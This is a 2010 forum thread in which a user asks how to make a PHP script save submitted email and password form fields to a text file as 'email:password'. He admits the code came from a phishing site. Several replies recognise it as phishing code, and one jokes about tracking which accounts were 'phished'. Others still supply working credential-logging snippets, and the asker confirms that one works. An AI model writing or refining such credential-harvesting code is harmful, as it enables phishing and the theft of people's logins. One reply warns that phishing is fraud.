1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

PHP question - REP+ for best answer

Discussion in 'General Programming Chat' started by wild1, Apr 25, 2010.

  1. wild1

    wild1 Jr. VIP Jr. VIP

    Joined:
    Dec 19, 2008
    Messages:
    485
    Likes Received:
    1,000
    Location:
    Caribbean
    I have a question,

    NOT EVEN SURE IS THE RIGHT SECTION TO ASK THIS, BUT HERE IT GOES

    How can I make a code to make it so it could send an email and password to a text file in this order email;password?

    i have this code which does it like:
    Email:Emailaddress
    Pass:password

    this is the code
    Code:
    $handle = fopen("textfile.txt", "a");
    foreach($_POST as $variable => $value) {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>
    and like I said, i would like it to be Email:password

    REP will be given to best answer

    Thanks
     
  2. GreyWolf

    GreyWolf Executive VIP Jr. VIP

    Joined:
    Aug 17, 2009
    Messages:
    1,930
    Likes Received:
    5,389
    Gender:
    Male
    Occupation:
    Artist / Craftsman
    Location:
    sitting at my PC
    isn't that an email phishing code?
     
  3. kaidoristm

    kaidoristm Power Member

    Joined:
    Feb 13, 2009
    Messages:
    561
    Likes Received:
    726
    Occupation:
    Freelancer
    Location:
    Estonia
    Home Page:
    For me it looks like it will insert it like
    Email=emailaddress
    Pass=password

    You need to make the format before writing it to file. If you ca show how your input is done then i can help you.
     
  4. pyronaut

    pyronaut Executive VIP

    Joined:
    Dec 9, 2008
    Messages:
    1,229
    Likes Received:
    1,422
    Lol. Exactly what I was going to say. Looks like the old WOW phishing code that people used to do.

    To OP, Are they just submitting a form through a POST request?

    PHP:
    $email $_POST['email'];
    $pass $_POST['pass'];
    *
    write to file as you havewith just a \as new line*
    And ofcourse you would have to switch out your post variables.

    You know, Back in those days of phishing, people were noob as hell. You would be better off storing everything in a database, and then being able to pull from that database. Then you can have a whole backend system. So you can do things like mark which ones you have already checked *cough* phished *cough*.
     
  5. kaidoristm

    kaidoristm Power Member

    Joined:
    Feb 13, 2009
    Messages:
    561
    Likes Received:
    726
    Occupation:
    Freelancer
    Location:
    Estonia
    Home Page:
    Something like that.

    PHP:
    $email trim($_POST['email']);
    $pass trim($_POST['pass']);

    $data $email.":".$pass."\r\n";

    $fh fopen("textfile.txt""a");
    fputs($fh,$data);
    fclose($fh);
     
    • Thanks Thanks x 1
  6. GreyWolf

    GreyWolf Executive VIP Jr. VIP

    Joined:
    Aug 17, 2009
    Messages:
    1,930
    Likes Received:
    5,389
    Gender:
    Male
    Occupation:
    Artist / Craftsman
    Location:
    sitting at my PC
    I think the idea of the OP code was because unless you were using a gmail form it might not get the post data all at once, or the variable names might be different in the form.
    otherwise you could just do this
    Code:
    $stuff = $_POST["Email"] . ":" . $_POST["Passwd"] . "\r\n\n"; 
    $handle = fopen("textfile.txt","a"); 
    fwrite($handle,$stuff); 
    fclose($handle); 
    I was thinking modifying the OP code something like this
    Code:
    $handle = fopen("textfile.txt", "a");
    $trigger = "F"
    foreach($_POST as $variable => $value) {
          if ($trigger == "F")
                {
                fwrite($handle, $value);
                fwrite($handle, ":");
                }
          else
                {
                fwrite($handle, $value);
                fwrite($handle, "\r\n");
                }
          $trigger="T";
    }
    fclose($handle);
    exit;
    ?>
    I have no idea if this would actually work, I'm not a php programmer yet. I just thought I'd give it a shot. LOL

    I don't have any fake login pages to test it out on, and don't really feel like setting one up. I took out the extra linefeed because that was probably only there to put a blank line between each email/password combo. If they are both on just one line then it seems unneccessary.


    @OP - I'm not sure what your purpose is for needing this code. There's a difference between blackhat and fraud. Phishing pretty much definately falls on the side of fraud and criminal activity. Maybe you have some legit use for the code, but if you're planning on setting up a phishing site you should steer clear of that. Taking things down that path can potentially end up with jail time. Just something to think about.
     
    Last edited: Apr 25, 2010
  7. balazs700

    balazs700 Registered Member

    Joined:
    Mar 3, 2010
    Messages:
    58
    Likes Received:
    13
    Location:
    exactly there
    Great... you give a rep.. if somebody do a job and you don't need to do it... it's funny...
     
  8. wild1

    wild1 Jr. VIP Jr. VIP

    Joined:
    Dec 19, 2008
    Messages:
    485
    Likes Received:
    1,000
    Location:
    Caribbean

    not using for phishing ;)

    I did get it from a phishing site but im using it for a different purpose, which im testing right now

    I don't like fraud... so i know the difference about BH and fraud
     
  9. GreyWolf

    GreyWolf Executive VIP Jr. VIP

    Joined:
    Aug 17, 2009
    Messages:
    1,930
    Likes Received:
    5,389
    Gender:
    Male
    Occupation:
    Artist / Craftsman
    Location:
    sitting at my PC
    cool then :)

    So what about my code suggestions. will either of those help?
    If not they are on the right track. You foreach loop should run twice. You jsut need it to write the email and ":" the first time and then the pass and "\r\n" the second time. The trigger should work, but you might have to experiment to make it work right.
     
    • Thanks Thanks x 1
  10. wild1

    wild1 Jr. VIP Jr. VIP

    Joined:
    Dec 19, 2008
    Messages:
    485
    Likes Received:
    1,000
    Location:
    Caribbean
    they didn't work for me :/

    the code from someone who posted earlier did work

    gave the REP to him, but will give you REP as well for trying hehe :)
     
  11. GreyWolf

    GreyWolf Executive VIP Jr. VIP

    Joined:
    Aug 17, 2009
    Messages:
    1,930
    Likes Received:
    5,389
    Gender:
    Male
    Occupation:
    Artist / Craftsman
    Location:
    sitting at my PC
    I wasn't asking because of the rep, I just wanted to find out. I'm pretty good with tweaking bits of code, but usually I'm doing it for my own stuff, so I get to test it. It's kind of frustrating to have an idea, but not be able to try it out. LOL
     
  12. wild1

    wild1 Jr. VIP Jr. VIP

    Joined:
    Dec 19, 2008
    Messages:
    485
    Likes Received:
    1,000
    Location:
    Caribbean
    lol I know, thats why whenever i have a question i look in the forum to see if someone did ever talk about it or just google it

    I know didnt ask for rep, but i gave it to u anyways ;)